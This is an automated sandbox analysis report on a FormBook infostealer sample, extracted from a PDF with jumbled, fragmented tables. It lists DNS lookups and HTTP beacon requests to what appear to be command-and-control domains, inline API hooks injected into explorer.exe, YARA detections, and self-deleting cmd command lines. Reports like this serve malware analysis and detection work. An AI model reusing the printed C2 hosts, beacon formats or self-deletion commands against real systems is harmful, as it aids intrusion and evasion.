Nov 20, 2020 11:12:35.615037918 CET 192.168.2.4 8.8.8.8 0x3cb9 Standard query 
(0)

www.camera-
kento.com

A (IP address) IN (0x0001)

Nov 20, 2020 11:12:56.803217888 CET 192.168.2.4 8.8.8.8 0x894d Standard query 
(0)

www.buyipr
od.com

A (IP address) IN (0x0001)

Nov 20, 2020 11:13:17.643173933 CET 192.168.2.4 8.8.8.8 0xcbc2 Standard query 
(0)

www.iqftom
atoes.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 20, 2020 
11:12:13.026293039 
CET

8.8.8.8 192.168.2.4 0x36f8 No error (0) www.bikini
nbodymommy
.com

81.17.18.197 A (IP address) IN (0x0001)

Nov 20, 2020 
11:12:35.890340090 
CET

8.8.8.8 192.168.2.4 0x3cb9 Name error (3) www.camera-
kento.com

none none A (IP address) IN (0x0001)

DNS Queries

DNS Answers
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Code Manipulations

Nov 20, 2020 
11:12:57.144937992 
CET

8.8.8.8 192.168.2.4 0x894d No error (0) www.buyipr
od.com

104.252.192.7 A (IP address) IN (0x0001)

Nov 20, 2020 
11:13:17.689646959 
CET

8.8.8.8 192.168.2.4 0xcbc2 No error (0) www.iqftom
atoes.com

52.58.78.16 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

www.bikininbodymommy.com
www.buyiprod.com

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49758 81.17.18.197 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 20, 2020 
11:12:13.061836004 CET

1355 OUT GET /kgw/?NTlTsb=o2J8lThHmJUlqtc0&0V0hlT=nwMujlop9k/e7RKxDV6F2DOpfZu+NAvKA+XHz2bBew91D/bKU
35KPyupQFDW23mxRXA2 HTTP/1.1
Host: www.bikininbodymommy.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 20, 2020 
11:12:13.120085955 CET

1355 IN HTTP/1.1 302 Found
cache-control: max-age=0, private, must-revalidate
connection: close
content-length: 11
date: Fri, 20 Nov 2020 10:12:13 GMT
location: http://survey-smiles.com
server: nginx
set-cookie: sid=dbc2e4d8-2b18-11eb-9c58-fdcfe4a7ecec; path=/; domain=.bikininbodymommy.com; expires=Wed, 08 Dec 
2088 13:26:20 GMT; max-age=2147483647; HttpOnly
Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 
Data Ascii: Redirecting

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49766 104.252.192.7 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 20, 2020 
11:12:57.317375898 CET

5141 OUT GET /kgw/?NTlTsb=o2J8lThHmJUlqtc0&0V0hlT=F7U1ZxCjw0QXGNF8VmzdEObB3hNcDi5za+FuEorWYUt6zFjVN
/aD/y1X6yN+u1VrnSag HTTP/1.1
Host: www.buyiprod.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 20, 2020 
11:12:57.488492966 CET

5141 IN HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Server: Nginx Microsoft-HTTPAPI/2.0
X-Powered-By: Nginx
Date: Fri, 20 Nov 2020 10:12:45 GMT
Connection: close
Data Raw: 33 0d 0a ef bb bf 0d 0a 
Data Ascii: 3

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

HTTP Request Dependency Graph

HTTP Packets

User Modules

Hook Summary
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Statistics

Behavior

• oqTdpbN5rF.exe

• RegAsm.exe

• cmd.exe

• conhost.exe

• explorer.exe

• choice.exe

• oqTdpbN5rF.exe

• RegAsm.exe

• cmd.exe

• conhost.exe

• choice.exe

• NETSTAT.EXE

• cmd.exe

• cmd.exe

• conhost.exe

Click to jump to process

System Behavior

Function Name Hook Type New Data

PeekMessageA INLINE 0x48 0x8B 0xB8 0x8D 0xDE 0xE5 

PeekMessageW INLINE 0x48 0x8B 0xB8 0x85 0x5E 0xE5 

GetMessageW INLINE 0x48 0x8B 0xB8 0x85 0x5E 0xE5 

GetMessageA INLINE 0x48 0x8B 0xB8 0x8D 0xDE 0xE5 

Start time: 11:11:07

Start date: 20/11/2020

Path: C:\Users\user\Desktop\oqTdpbN5rF.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\oqTdpbN5rF.exe' 

Imagebase: 0xa60000

File size: 599552 bytes

MD5 hash: 429BBA6DBE159C300679509BE3085665

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Processes

Process: explorer.exe, Module: user32.dll

Analysis Process: oqTdpbN5rF.exe PID: 796 Parent PID: 5996Analysis Process: oqTdpbN5rF.exe PID: 796 Parent PID: 5996

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000003.684990616.0000000005762000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000003.684990616.0000000005762000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000003.684990616.0000000005762000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000003.685033711.0000000005762000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000003.685033711.0000000005762000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000003.685033711.0000000005762000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000003.683777247.0000000005762000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000003.683777247.0000000005762000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000003.683777247.0000000005762000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6D175705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6D175705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6D0D03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6D17CA54 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

unknown 620 success or wait 1 6D0D03DE ReadFile

Start time: 11:11:12

Start date: 20/11/2020

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Imagebase: 0xe30000

File size: 64616 bytes

MD5 hash: 6FD7592411112729BF6B1F2F6C34899F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File ReadFile Read

Analysis Process: RegAsm.exe PID: 684 Parent PID: 796Analysis Process: RegAsm.exe PID: 684 Parent PID: 796

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000002.00000002.732797853.0000000001390000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000002.00000002.732797853.0000000001390000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000002.00000002.732797853.0000000001390000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000002.00000002.731598557.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000002.00000002.731598557.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000002.00000002.731598557.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000002.00000002.732064865.0000000001280000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000002.00000002.732064865.0000000001280000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000002.00000002.732064865.0000000001280000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 419E47 NtReadFile

File ActivitiesFile Activities

Start time: 11:11:13

Start date: 20/11/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\cmd.exe' /C choice /C Y /N /D Y /T 3 & Del 'C:\Users\user\D
esktop\oqTdpbN5rF.exe'

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Completion Count
Source
Address Symbol

C:\Users\user\Desktop\oqTdpbN5rF.exe cannot delete 1 11F0374 DeleteFileW

C:\Users\user\Desktop\oqTdpbN5rF.exe cannot delete 1 11F0374 DeleteFileW

File ReadFile Read

Analysis Process: cmd.exe PID: 816 Parent PID: 796Analysis Process: cmd.exe PID: 816 Parent PID: 796

General

File DeletedFile Deleted

Analysis Process: conhost.exe PID: 1320 Parent PID: 816Analysis Process: conhost.exe PID: 1320 Parent PID: 816
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Start time: 11:11:13

Start date: 20/11/2020

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Start time: 11:11:15

Start date: 20/11/2020

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff6fee60000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 11:11:14

Start date: 20/11/2020

Path: C:\Windows\SysWOW64\choice.exe

Wow64 process (32bit): true

Commandline: choice  /C Y /N /D Y /T 3 

Imagebase: 0xe90000

File size: 28160 bytes

MD5 hash: 626F7BE965216FEAC7A3C0B4D3751BA2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

General

Analysis Process: explorer.exe PID: 3424 Parent PID: 684Analysis Process: explorer.exe PID: 3424 Parent PID: 684

General

Analysis Process: choice.exe PID: 6780 Parent PID: 816Analysis Process: choice.exe PID: 6780 Parent PID: 816

General
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File ActivitiesFile Activities

Start time: 11:11:18

Start date: 20/11/2020

Path: C:\Users\user\Desktop\oqTdpbN5rF.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\oqTdpbN5rF.exe' 

Imagebase: 0x930000

File size: 599552 bytes

MD5 hash: 429BBA6DBE159C300679509BE3085665

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000003.714696172.0000000005512000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000007.00000003.714696172.0000000005512000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000003.714696172.0000000005512000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000003.713983780.0000000005512000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000007.00000003.713983780.0000000005512000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000003.713983780.0000000005512000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.942029973.0000000005512000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000007.00000002.942029973.0000000005512000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.942029973.0000000005512000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.940420485.0000000004939000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000007.00000002.940420485.0000000004939000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.940420485.0000000004939000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.942495359.00000000062D0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.942495359.00000000062D0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.942495359.00000000062D0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6D175705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6D175705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6D0D03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6D17CA54 ReadFile

Analysis Process: oqTdpbN5rF.exe PID: 6300 Parent PID: 796Analysis Process: oqTdpbN5rF.exe PID: 6300 Parent PID: 796

General

File ReadFile Read
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C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

unknown 620 success or wait 1 6D0D03DE ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 11:11:27

Start date: 20/11/2020

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Imagebase: 0x510000

File size: 64616 bytes

MD5 hash: 6FD7592411112729BF6B1F2F6C34899F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000009.00000002.721866399.0000000000950000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000009.00000002.721866399.0000000000950000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000009.00000002.721866399.0000000000950000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000009.00000002.721749351.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000009.00000002.721749351.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000009.00000002.721749351.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000009.00000002.722069736.0000000000A70000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000009.00000002.722069736.0000000000A70000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000009.00000002.722069736.0000000000A70000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 419E47 NtReadFile

Start time: 11:11:29

Start date: 20/11/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\cmd.exe' /C choice /C Y /N /D Y /T 3 & Del 'C:\Users\user\D
esktop\oqTdpbN5rF.exe'

Analysis Process: RegAsm.exe PID: 6668 Parent PID: 6300Analysis Process: RegAsm.exe PID: 6668 Parent PID: 6300

General

File ReadFile Read

Analysis Process: cmd.exe PID: 7096 Parent PID: 6300Analysis Process: cmd.exe PID: 7096 Parent PID: 6300

General

Copyright null 2020 Page 29 of 32



File ActivitiesFile Activities

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Completion Count
Source
Address Symbol

C:\Users\user\Desktop\oqTdpbN5rF.exe cannot delete 1 11F0374 DeleteFileW

C:\Users\user\Desktop\oqTdpbN5rF.exe cannot delete 1 11F0374 DeleteFileW

Start time: 11:11:29

Start date: 20/11/2020

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Start time: 11:11:29

Start date: 20/11/2020

Path: C:\Windows\SysWOW64\choice.exe

Wow64 process (32bit): true

Commandline: choice  /C Y /N /D Y /T 3 

Imagebase: 0xe90000

File size: 28160 bytes

MD5 hash: 626F7BE965216FEAC7A3C0B4D3751BA2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

File DeletedFile Deleted

Analysis Process: conhost.exe PID: 7116 Parent PID: 7096Analysis Process: conhost.exe PID: 7116 Parent PID: 7096

General

Analysis Process: choice.exe PID: 1744 Parent PID: 7096Analysis Process: choice.exe PID: 1744 Parent PID: 7096

General
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File ActivitiesFile Activities

Start time: 11:11:30

Start date: 20/11/2020

Path: C:\Windows\SysWOW64\NETSTAT.EXE

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\NETSTAT.EXE

Imagebase: 0x310000

File size: 32768 bytes

MD5 hash: 4E20FF629119A809BC0E7EE2D18A7FDB

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.932940416.0000000000390000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.932940416.0000000000390000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.932940416.0000000000390000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.933824716.0000000003000000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.933824716.0000000003000000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.933824716.0000000003000000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 3019E47 NtReadFile

Start time: 11:11:33

Start date: 20/11/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\cmd.exe

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000F.00000002.732798521.0000000001120000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 0000000F.00000002.732798521.0000000001120000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000F.00000002.732798521.0000000001120000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Analysis Process: NETSTAT.EXE PID: 1664 Parent PID: 3424Analysis Process: NETSTAT.EXE PID: 1664 Parent PID: 3424

General

File ReadFile Read

Analysis Process: cmd.exe PID: 5656 Parent PID: 3424Analysis Process: cmd.exe PID: 5656 Parent PID: 3424

General
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Disassembly

Code Analysis

File ActivitiesFile Activities

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 1139E47 NtReadFile

File ActivitiesFile Activities

Start time: 11:11:34

Start date: 20/11/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe'

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 11:11:35

Start date: 20/11/2020

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ReadFile Read

Analysis Process: cmd.exe PID: 6120 Parent PID: 1664Analysis Process: cmd.exe PID: 6120 Parent PID: 1664

General

Analysis Process: conhost.exe PID: 7048 Parent PID: 6120Analysis Process: conhost.exe PID: 7048 Parent PID: 6120

General
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